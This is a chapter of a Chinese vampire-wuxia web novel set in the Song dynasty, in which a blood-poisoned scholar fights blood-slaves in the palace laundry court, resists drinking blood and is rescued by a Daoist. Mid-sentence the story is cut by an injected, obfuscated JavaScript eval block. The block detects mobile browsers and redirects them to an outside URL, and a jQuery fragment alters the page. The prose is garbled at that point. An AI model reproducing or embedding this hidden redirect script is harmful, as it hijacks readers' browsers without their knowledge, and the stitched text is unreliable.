暗门在身后合上。
楼梯尽头是一间密室,墙上挂着几盏长明灯,昏黄的光映出满墙的兵器,刀、剑、弓、弩,还有几件奇形怪状的东西,像是道门法器。
墙角拴着一匹马,通体乌黑,唯有四蹄雪白,在昏暗光线下像踏着四团雪。
马的眼睛在灯光下泛着淡淡的金,看见赵承影,打了个响鼻,前蹄轻刨地面。
这不是寻常的马。
赵承影走近,那马低下头,蹭了蹭他的手臂。触手温热,皮毛下肌肉贲张,蕴含着惊人的力量。
马鞍旁挂着一个皮袋。
他打开,里面是一套夜行衣,一副面罩,还有一个小巧的铜壶。
拔开壶塞,浓烈的酒气扑鼻,是烈酒,用来遮掩身上的气味。
他迅速换上夜行衣,戴上面罩,只露出一双眼。翻身上马的瞬间,那黑马便动了,无需驱使,径直冲向密室另一端的石门。
石门缓缓滑开,外面是醉月楼的后巷。
寒风扑面,卷着雪花。
子时将至,夜色浓稠如墨,只有远处城墙上的火把,在风雪中明灭不定。
黑马纵身跃出,四蹄踏在青石板上,竟几乎无声。
它穿过小巷,拐进更窄的巷道,速度极快,却灵活异常,在迷宫般的街巷中穿梭。
赵承影伏在马背上,握紧缰绳。风在耳边呼啸,两侧的房屋飞速倒退。
他能感觉到体内那股躁动在加剧,血毒在催促他,在月夜下,在奔驰中,渴望杀戮,渴望温热。
他咬牙,从怀中摸出赵璎珞给的锦囊,深深吸气。
花香。药香。
那股躁动稍稍平息。
黑马忽然转向,冲进一条几近荒废的巷子。巷子尽头是高大的宫墙,西华门的侧墙。这里偏僻,连巡夜的禁军都很少来。
马在宫墙下停住,前蹄轻踏,示意到了。
赵承影翻身下马,抬头看墙。
墙高三丈,砖石斑驳,爬满枯藤。
墙内就是浣衣院,隐约能听见水流声,还有女子低低的啜泣,是那些洗衣到深夜的宫人。
他退后几步,助跑,跃起。
身体轻盈得让他自己都心惊。
一丈、两丈、三丈,指尖轻易够到了墙头。他翻身而上,伏在墙头的阴影里,向下望去。
浣衣院是个四方院落,十几间低矮的厢房围着一口井,井旁堆着成山的衣物。
此刻已是子时,却还有七八个宫女在井边劳作,就着屋檐下昏暗的灯笼光,搓洗衣物。她们的手冻得通红,动作机械,脸上满是疲惫和麻木。
院门紧闭,但从门缝里,能看见外面有灯火在靠近。
不是宫中的灯笼,是幽绿色的、飘忽不定的光,像鬼火。
赵承影握紧桃木剑,剑鞘上的符文在黑暗中微微发烫。
来了。
院门“吱呀”一声,开了。
不是被推开,是门闩从内部悄无声息地滑开。一个穿着太监服色的佝偻身影闪进来,又迅速退到阴影里。那是内应。
然后,五个黑影鱼贯而入。
他们穿着黑衣,蒙着面,只露出一双双赤红的眼。动作迅捷如豹,落地无声,分散开来,呈包围之势,逼近井边那些毫无察觉的宫女。
赵承影看清了他们的手,指甲乌黑尖长,在幽绿的光下泛着冷光。
最前面的一个宫女似乎察觉了什么,抬头,茫然地望向黑暗。
然后她看见了那双赤红的眼。
尖叫卡在喉咙里。因为一只利爪已扼住了她的脖颈,将她整个人提离地面。另外四个黑影同时扑出,扑向其他宫女。
尖叫声终于爆发,凄厉地撕裂夜空。
赵承影纵身跃下。
桃木剑出鞘的瞬间,剑身上所有符文同时亮起,青光大盛,将整个院落照得一片惨绿。
那些黑影猛地回头,赤红的眼在青光下狰狞可怖。
被扼住的宫女摔在地上,剧烈咳嗽。
扼她的那个血奴转头看向赵承影,喉咙里发出野兽般的低吼,松开猎物,扑了过来。
太快了。
赵承影只看见一道残影,利爪已到面门。他下意识举剑格挡,
“铛!”
金铁交鸣之声。
桃木剑竟硬如精钢,震开了那只利爪。
但那力量大得惊人,震得赵承影虎口发麻,连退三步。
血奴低吼,再次扑上。
这次赵承影看清了,侧身避过利爪,桃木剑斜刺,直取心脏。
剑尖刺入皮肉的触感很奇怪,不像刺入人体,倒像刺进朽木。
血奴发出一声凄厉的惨嚎,伤口处冒出白烟,散发出焦臭味。
他踉跄后退,低头看胸口的伤,那伤口在扩大,边缘焦黑,向全身蔓延。
不过片刻,整个人便瘫倒在地,化为一滩黑水,只余衣物。
赵承影怔住。他知道桃木剑克制血裔,却不知如此可怖。
“小心!”身后传来宫女的尖叫。
赵承影回身,另一个血奴已扑到眼前,利爪直掏心口。他来不及挥剑,只能侧身硬挨,
利爪撕裂夜行衣,在左肋留下三道深可见骨的血痕。
剧痛。但下一瞬,伤口处传来灼热的痒,是自愈。他能感觉到皮肉在生长、闭合,速度快得违背常理。
血奴一击得手,正要再攻,却僵住了。
他低头,看着赵承影伤口处渗出的血,那血在月光下,泛着淡淡的金。
然后他发出一声惊恐的嘶嚎,连连后退,像是看见了什么极恐怖的东西。
其他三个血奴也停住了,赤红的眼紧盯着赵承影的伤口,喉头滚动,却不是攻击的欲望,而是...恐惧?
赵承影来不及细想,趁势挥剑。
桃木剑青光再盛,一剑斩下最近那个血奴的头颅。头颅滚落在地,双眼圆睁,身体却还站立了片刻,然后才轰然倒地,化为一滩黑水。
剩下三个血奴对视一眼,竟不战而逃,纵身跃上墙头,消失在夜色中。
院落里霎时死寂。
只有七八个宫女瘫倒在地,抱在一起瑟瑟发抖,惊恐地看着这个从天而降的蒙面人。
赵承影喘着气,低头看自己左肋的伤。伤口已停止流血,边缘开始结痂。
他撕下衣襟草草包扎,遮住那泛着金色的血。
“多、多谢壮士...”一个年长些的宫女颤声开口。
赵承影摇头,指了指院门,示意她们快走。宫女们如梦初醒,互相搀扶着,踉跄冲向院门。
那个开门的太监内应早已不见踪影。
赵承影提剑,走到井边。
井水映着月光,也映出他蒙面的脸,和那双在黑暗中格外清晰的眼,瞳孔深处,暗红如血。
他摘下面罩,用井水冲洗脸上的血污。水冰冷刺骨,却压不□□内的躁动。
刚才厮杀时,那股渴望又涌了上来。
不是对宫女的血,奇怪的是,他对她们的血毫无感觉。
但那个血奴撕裂他伤口时,他闻到了血奴血的味道...
腥臭,腐朽,令人作呕。
可他的身体却在那一刻兴奋起来,力量涌现,速度暴增。就像在城门上,红绡咬他时,那股涌入体内的滚烫。
难道他渴望的,不是人血,而是...
“啪啪啪。”
鼓掌声从墙头传来。
赵承影猛地抬头。
墙头上不知何时坐了一个人。
一身红衣,在夜风中猎猎作响,正是苏幕遮。她翘着腿,托着腮,笑吟吟地看着他。
“不错嘛,赵公子。”她轻轻跃下,落地无声,“一人击退五个血奴,还杀了二个。虽然靠的是桃木剑和...你那特殊的血。”
她走到赵承影面前,凑近,红眸在他伤口处逡巡:“他们怕你的血。有趣。我活了这么久,第一次见到血裔怕另一个血裔的血。”
赵承影后退一步,拉开距离:“他们逃了,会不会带更多人来?”
“暂时不会。”苏幕遮直起身,望向血奴逃走的方向,“完颜赫连生性多疑,听到有血裔的血能伤血裔这种消息,会先查清楚,不会贸然再动。而且...”
她转头看他,眼中闪过一丝深意:“你受伤了,需要疗伤。而疗伤,需要血。”
赵承影握紧剑:“我不需要。”
“不,你需要。”苏幕遮从怀中取出那个瓷瓶,在他面前晃了晃。
“你流了血,自愈消耗了大量血气。现在不补充,明日太阳升起时,你会虚弱得走不动路,然后渴到发狂,见人就咬。”
她拔开瓶塞。那股甜腥气再次弥漫开来,比先前更浓郁,更诱人。
赵承影的喉咙不受控制地滚动。
牙齿在发痒,牙龈肿胀,唾液疯狂分泌。
他能听见自己心跳在加速,能感觉到血管在贲张,能“看见”苏幕遮脖颈下血液流动的轨迹...
“这是最后的血藤汁。”苏幕遮的声音变得轻柔,像催眠,“喝了它,你就不会变成怪物。你还是赵承影,翰林院编修,宗室子弟。
你可以继续做你想做的事,救你想救的人...”
瓷瓶递到眼前。
暗红色的液体在瓶中晃动,映着月光,像流动的琥珀。
赵承影盯着那液体,手指颤抖着抬起。
碰到瓷瓶的瞬间,那股甜腥直冲脑海。
所有的理智、所有的坚持,在这一刻土崩瓦解。他太渴了,渴得像在沙漠里跋涉了三天三夜的人看见绿洲。
他接过瓷瓶,仰头,
“砰!”
瓷瓶被一道银光击碎。
液体溅了赵承影满脸。
他茫然抬头,看见苏幕遮已退到三丈外,手中握着一把银色的飞刀。
而击碎瓷瓶的,是另一道银光,从墙外射来,钉在井沿上,是一支银色的箭。
“什么人?”苏幕遮厉喝,红眸在黑暗中骤亮。
墙头出现了五个身影。
他们穿着深蓝色的劲装,外罩黑色斗篷,脸上戴着银色的面具,只露出一双冷峻的眼。
为首的是个高瘦男子,手中握着一把银弓,弓弦还在微微颤动。
“守夜人。”男子开口,声音冰冷如铁,“苏幕遮,你诱人饮血,触犯戒律,当诛。”
他抬手,五支银色箭矢同时上弦,箭尖在月光下泛着寒光,对准了院中的两人。
苏幕遮笑了,笑声在夜风中飘散:“何曦,一百年不见,你还是这般无趣。”
她转头,对赵承影飞快地说了一句:“跑。往东,醉月楼。”
然后她纵身跃起,红衣在夜空中绽开,像一朵盛放的血色牡丹,扑向墙头的守夜人。
银色箭矢破空。
赵承影转身,冲向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301205|198636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院门。
身后传来金铁交鸣之声,苏幕遮的娇笑,守夜人的怒喝,还有某种非人的嘶吼。
他没回头,撞开院门,冲进夜色。
巷子里,那匹黑马还在等候。他翻身上马,马长嘶一声,四蹄踏地,如离弦之箭冲向东方。
风在耳边呼啸。
他能听见身后有破空声追来,是守夜人。不止一个,至少三个,在房顶上纵跃,速度极快,紧追不舍。
黑马在迷宫般的街巷中穿梭,时而急转,时而腾跃,将追兵暂时甩开。
但赵承影能感觉到,体内的力量在迅速流失。左肋的伤口不再发痒,反而传来空虚的刺痛,是失血过多的征兆。
苏幕遮说得对,他需要血。
喉咙干得冒烟,眼前开始发黑。
他伏在马背上,咬破嘴唇,用痛楚保持清醒。
鲜血的腥甜在口中弥漫,那股渴望更猛烈地烧起来。
不能喝。不能喝人血。不能...
前方忽然出现火光。
是一队巡夜的禁军,举着火把,正在巷口设卡。黑马急停,人立而起,险些将赵承影摔下。
“什么人!”禁军拔刀。
赵承影抬头,在火光中看见那些士卒惊愕的脸。
然后他看见了他们的脖颈,皮肤下血管跳动,血液奔流的声音如雷鸣般在耳中炸响。
甜美的。温热的。活生生的...
他喉头滚动,身体前倾,
“吁!”
黑马忽然调头,冲进另一条小巷。
马蹄声惊醒了赵承影,他猛地摇头,冷汗浸透后背。
刚才那一瞬,他差点扑上去。
巷子尽头是死路。黑马在墙下停住,不安地踏着蹄。身后追兵的脚步声越来越近。
赵承影翻身下马,背靠墙壁,握紧桃木剑。剑身上的青光已暗淡许多,像风中残烛。
三个守夜人落在巷口,呈三角阵型,缓缓逼近。
银色的面具在月光下泛着冷光,手中的兵器各异,刀、剑、锁链。
“血裔,束手就擒。”为首的那个沉声道。
赵承影喘息,左肋的伤口剧痛。
他知道自己逃不掉了,也打不过。
守夜人专司猎杀血裔,经验丰富,而他只是个刚“蜕变”了一天的书生。
他举起桃木剑,准备最后一搏。
这时,巷子的阴影里,忽然传来一个声音:
“诸位,给在下一个面子,如何?”
声音温润,带着书卷气。
守夜人同时转头。阴影里走出一个人,穿着青色的道袍,头发用木簪随意绾着,手里提着一盏白色的灯笼。灯笼光昏黄,映出一张清癯的脸,约莫四十岁年纪,三绺长须,颇有几分仙风道骨。
但赵承影看见了他的眼,在灯笼光下,那双眸子深处,也有一线极淡的暗红。
又一个血裔。
守夜人首领握紧手中刀:“玄尘子,此事与你无关。”
玄尘子笑了,笑容温和:“何曦兄,这话就不对了。这位小友与贫道有缘,怎能说无关?”
他走到赵承影身前,挡在他与守夜人之间,灯笼提在手中,那昏黄的光竟让守夜人微微后退。
“此子身中血毒,却未饮人血,心志尚存。”玄尘子声音平缓,“守夜人戒律,不杀未破戒者。何曦兄莫非忘了?”
守夜人首领沉默片刻,冷声道:“但他与苏幕遮勾结。”
“苏幕遮诱他饮血,他未饮。瓷瓶是守夜人击碎的,贫道看得清楚。”玄尘子转身,看向赵承影,“小友,你可愿随贫道走?贫道或许有法子,解你血毒。”
赵承影盯着他,又看向守夜人,最后点头。
“好。”玄尘子笑了,转向守夜人,“如此,人贫道带走了。何曦兄,后会有期。”
他提起灯笼,昏黄的光忽然大盛,将整个巷子照得一片朦胧。守夜人抬手遮眼,等光芒散去,巷中已空无一人,只剩那匹黑马,静静站在墙下。
守夜人首领盯着空巷,良久,缓缓收刀。
“撤。”
三人纵身跃上房顶,消失在夜色中。
巷子重归寂静。
只有远处隐约传来四更的梆子声,风声呜咽。
【赵承影补记】
靖康元年十一月甲戌夜
今赴醉月楼,见苏幕遮。
知其人为血裔,然与完颜赫连非同路。
子时,赴浣衣院,击退血奴五,杀其二。左肋受创,自愈极速,然血奴惧我之血,此异状当深究。
守夜人现,苏氏阻之,余得脱。然力竭将昏,遇道人玄尘子,自称可解血毒,随其去。
今方知,暗夜之中,势力纷杂:金人血狼卫,血裔隐世派,守夜人,又添此玄尘子...
,赵承影绝笔之三
附:玄尘子语
于巷中,灯笼光下,道人低声言,承影记之
“血毒非毒,乃蜕也。人蜕为裔,如虫化蝶,天性使然。然虫不知蝶,蝶亦忘虫,其间苦痛,唯蜕者自知。”
“世人皆求长生,不知长生最苦。眼见亲朋化土,沧海成田,独存于世,岂非大哀?”
“然汝血有异,金芒隐现,此非寻常。或为机缘,或为诅咒。
贫道有一法,可试之,然凶险异常,十死无生。汝敢试否?”
承影答:虽死无憾。